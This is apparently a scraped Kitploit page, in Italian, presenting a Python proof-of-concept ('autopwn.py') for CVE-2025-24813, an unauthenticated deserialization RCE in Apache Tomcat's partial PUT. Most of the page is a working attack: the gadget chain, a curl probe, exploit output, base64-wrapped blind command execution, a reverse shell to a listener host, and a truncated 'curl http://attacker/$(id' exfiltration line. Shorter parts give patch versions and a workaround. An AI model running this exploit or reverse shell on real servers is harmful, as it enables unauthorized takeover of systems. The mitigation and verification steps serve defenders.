CVE-2025-24813 — PoC Python che sfrutta CVE-2025-24813, una RCE da deserializzazione tramite PUT parziale in Apache Tomcat. Rileva automaticamente le varianti vulnerabili, supporta l'esecuzione di comandi in modalità blind e reverse shell. | Kitploit

CVE-2025-24813 — RCE tramite deserializzazione in Apache Tomcat Partial PUT

Gravità: Critica (CVSS 9.8) Autenticazione richiesta: Nessuna Interessati: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Corretto in: Tomcat 9.0.99 / 10.1.35 / 11.0.3

Come funziona

Apache Tomcat supporta il partial PUT (upload a chunk tramite Content-Range). Quando arriva un partial PUT, Tomcat memorizza temporaneamente il corpo in un file temporaneo sotto:

$CATALINA_HOME/work/…/<url-path-filename>

Se l'applicazione è configurata con PersistentManager + FileStore in context.xml, Tomcat legge automaticamente i file *.session dalla stessa directory di lavoro e li per ripristinare le sessioni.

ObjectInputStream.readObject()
  └─ HashSet.readObject()
       └─ TiedMapEntry.hashCode()
            └─ LazyMap.get()
                 └─ ChainedTransformer.transform()
                      └─ InvokerTransformer → Runtime.exec(command)

curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# 201 Created = partial PUT abilitato  (prerequisito di vulnerabilità soddisfatto)
# 403/405     = partial PUT disabilitato (non vulnerabile tramite questo percorso)

[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=pwn1   [A(no-dot)]     GET=200
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=.pwn2  [B(dot-prefix)] GET=500  <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session        PUT=409 cookie=JSESSIONID=pwn3   [A(no-dot)]     GET=200
...
[+] Target is VULNERABLE!  Winning variant: B(dot-prefix)
    upload path : /{sid}.session
    trigger     : Cookie: JSESSIONID=.pwn2

# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)

python3 autopwn.py http://192.168.61.148:9090 \
    --command "bash -c {echo,$B64}|{base64,-d}|bash"

# Fetch the result
curl http://192.168.61.148:9090/idout.txt

# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
    --revshell --lhost 192.168.61.10 --lport 4444

positional arguments:
  target                Target base URL (e.g. http://192.168.61.148:9090)

options:
  --command CMD         Command to execute (blind mode, default: id)
  --revshell            Send reverse shell instead of blind command
  --lhost LHOST         Listener IP  (required with --revshell)
  --lport LPORT         Listener port (required with --revshell)
  --gadget GADGET       ysoserial gadget chain (default: CommonsCollections6)
  --ysoserial PATH      Path to ysoserial jar (default: ysoserial.jar)
  --sid SID             Session ID prefix for upload filenames (default: pwn)
  --no-ssl-verify       Disable SSL certificate verification

Metodo	Come
File nella webroot	Reindirizza l'output a un file in `/…/webapps/ROOT/`, recuperalo via HTTP
Reverse shell	Flag `--revshell` — ottieni una shell interattiva, esegui qualsiasi comando in tempo reale
DNS/OOB	`curl http://attacker/$(id

<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!--   <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->

# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# Patched   → 403 / 405
# Vulnerable → 201

# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched   → all GET=200, no 500

Stato	Significato
PUT 201	File memorizzato nella work dir di Tomcat
PUT 409	Percorso bloccato (traversal rifiutato)
GET 200	Sessione non trovata / non deserializzata
GET 500	Deserializzazione attivata → RCE

Branch	Vulnerabile	Corretto
9.x	9.0.0.M1 – 9.0.98	9.0.99+
10.1.x	10.1.0-M1 – 10.1.34	10.1.35+
11.x	11.0.0-M1 – 11.0.2	11.0.3+

CVE-2025-24813

Più Popolari

Catena di gadget

Identificazione (il target è vulnerabile?)

Passo 1 — Confermare Tomcat e la versione

Passo 2 — Verificare che il partial PUT sia abilitato

Passo 3 — Eseguire il PoC (rilevamento automatico)

Spiegazione dell'output di exploit

Payload codificato vs raw — Perché è importante

Utilizzo

Requisiti

Comando blind (l'output va solo al server)

Leggere l'output tramite file nella webroot

Reverse shell

Tutte le opzioni

Perché RCE blind? Come ottenere l'output

Correzione / Mitigazione

Patch (consigliata)

Workaround — Disabilitare il partial PUT

Verifica dopo la patch

Riferimenti